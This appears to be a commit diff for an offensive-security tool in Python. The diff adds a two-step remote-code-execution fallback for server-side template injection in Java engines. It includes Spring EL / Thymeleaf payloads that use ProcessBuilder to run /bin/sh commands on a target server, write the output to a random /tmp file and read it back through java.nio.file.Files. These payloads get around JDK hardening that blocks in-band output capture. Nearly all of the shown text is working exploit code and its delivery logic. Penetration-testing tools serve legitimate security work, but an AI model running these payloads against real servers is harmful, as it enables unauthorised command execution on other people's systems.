@@ -684,6 +684,78 @@ def _canTakeover(engine, evidence):
684684 return True
685685
686686
687+ # Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private
688+ # java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any
689+ # recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the
690+ # command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read
691+ # that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path.
692+ _FILE_RCE = {
693+ "Spring EL / Thymeleaf" : (
694+ "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}" ,
695+ "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}" ,
696+ ),
697+ }
698+
699+
700+ def _commandOutput (page , baseline , original , payload , engine ):
701+ """Extract genuine command output from a response via baseline diff, rejecting error pages and
702+ reflected-payload fragments. Returns the cleaned output string, or None when there is none."""
703+ if not page :
704+ return None
705+ if engine .errorRegex and _isError (page , engine ):
706+ return None
707+
708+ text = getUnicode (page )
709+ baseText = getUnicode (baseline or "" )
710+ output = ""
711+
712+ if baseText and text != baseText :
713+ sm = difflib .SequenceMatcher (None , baseText , text )
714+ parts = [text [j1 :j2 ] for tag , i1 , i2 , j1 , j2 in sm .get_opcodes () if tag in ("insert" , "replace" )]
715+ if parts :
716+ output = "" .join (parts ).strip ()
717+
718+ if not output :
719+ output = text
720+ if original and output .startswith (original ):
721+ output = output [len (original ):]
722+ output = output .strip ()
723+
724+ # A template that ECHOED our payload directive instead of executing it is reflection, not output.
725+ if output and output in payload :
726+ return None
727+
728+ if output and _ratio (output , baseText ) < UPPER_RATIO_BOUND :
729+ if output != baseText .strip () and not (baseText and baseText .replace (original , "" ).strip () == output ):
730+ return output
731+
732+ return None
733+
734+
735+ def _fileRceCapture (place , parameter , engine , original , cmd , extract ):
736+ """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
737+ (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
738+ callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
739+ so the read is retried a few times. Returns whatever 'extract' yields, else None."""
740+ spec = _FILE_RCE .get (engine .name )
741+ if not spec :
742+ return None
743+
744+ execTemplate , readTemplate = spec
745+ outFile = "/tmp/%s" % randomStr (length = 12 , lowercase = True )
746+ execPayload = execTemplate .replace ("{CMD}" , _escapeSingleQuoted (cmd )).replace ("{OUTFILE}" , outFile )
747+ _send (place , parameter , original + execPayload ) # launches the process; its (error) response is ignored
748+
749+ readPayload = readTemplate .replace ("{OUTFILE}" , outFile )
750+ for _ in range (3 ):
751+ page = _send (place , parameter , original + readPayload )
752+ result = extract (readPayload , page )
753+ if result is not None :
754+ return result
755+ time .sleep (1 )
756+ return None
757+
758+
687759def _probeRce (place , parameter , engine ):
688760 """Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
689761 return True if the marker is reflected (proving OS command execution is reachable). Used only
@@ -699,62 +771,33 @@ def _probeRce(place, parameter, engine):
699771 page = _send (place , parameter , original + payload )
700772 if page and marker in getUnicode (page ):
701773 return True
702- return False
774+
775+ # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
776+ return bool (_fileRceCapture (place , parameter , engine , original , "echo %s" % marker ,
777+ lambda readPayload , page : True if (page and marker in getUnicode (page )) else None ))
703778
704779
705780def _executeCommand (place , parameter , engine , cmd ):
706- """Execute an OS command via the engine's RCE payloads, trying each fallback
707- in order until one produces output. Captures output via baseline diff."""
781+ """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
782+ produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
783+ Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""
708784
709785 safeCmd = _escapeSingleQuoted (cmd )
710786 original = _originalValue (place , parameter ) or ""
711787 baseline = _send (place , parameter , original )
712788
713789 for payloadTemplate , description in engine .rcePayloads :
714790 payload = payloadTemplate .replace ("{CMD}" , safeCmd )
715- fullPayload = original + payload
716- page = _send (place , parameter , fullPayload )
717-
718- if not page :
719- continue
720-
721- # Skip error pages (payload caused a template exception, not a shell)
722- if engine .errorRegex and _isError (page , engine ):
723- continue
724-
725- text = getUnicode (page )
726- baseText = getUnicode (baseline or "" )
727- output = ""
728-
729- if baseText and text != baseText :
730- sm = difflib .SequenceMatcher (None , baseText , text )
731- opcodes = sm .get_opcodes ()
732- parts = []
733- for tag , i1 , i2 , j1 , j2 in opcodes :
734- if tag in ("insert" , "replace" ):
735- parts .append (text [j1 :j2 ])
736- if parts :
737- output = "" .join (parts ).strip ()
738-
739- if not output :
740- output = text
741- if original and output .startswith (original ):
742- output = output [len (original ):]
743- output = output .strip ()
744-
745- # A template that ECHOED our payload directive instead of executing it (e.g. a patched or
746- # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
747- # output: reject it so the loop falls through to the honest "no output received" warning
748- # instead of presenting a reflected payload fragment as a fake command result.
749- if output and output in payload :
750- continue
751-
752- # Suppress when output is just the baseline with the original value removed
753- # (command produced no output; the template rendered empty)
754- # Filter out template error messages masquerading as command output
755- if output and _ratio (output , baseText ) < UPPER_RATIO_BOUND :
756- if output != baseText .strip () and not (baseText and baseText .replace (original , "" ).strip () == output ):
757- conf .dumper .singleString ("\n os-shell (%s) [%s]:\n %s" % (cmd , description , output ))
758- return
791+ page = _send (place , parameter , original + payload )
792+ output = _commandOutput (page , baseline , original , payload , engine )
793+ if output is not None :
794+ conf .dumper .singleString ("\n os-shell (%s) [%s]:\n %s" % (cmd , description , output ))
795+ return
796+
797+ output = _fileRceCapture (place , parameter , engine , original , cmd ,
798+ lambda readPayload , page : _commandOutput (page , baseline , original , readPayload , engine ))
799+ if output is not None :
800+ conf .dumper .singleString ("\n os-shell (%s) [file-based]:\n %s" % (cmd , output ))
801+ return
759802
760- logger .warning ("no output received for OS command '%s' (tried %d payload(s)) " % ( cmd , len ( engine . rcePayloads )) )
803+ logger .warning ("no output received for OS command '%s'" % cmd )
0 commit comments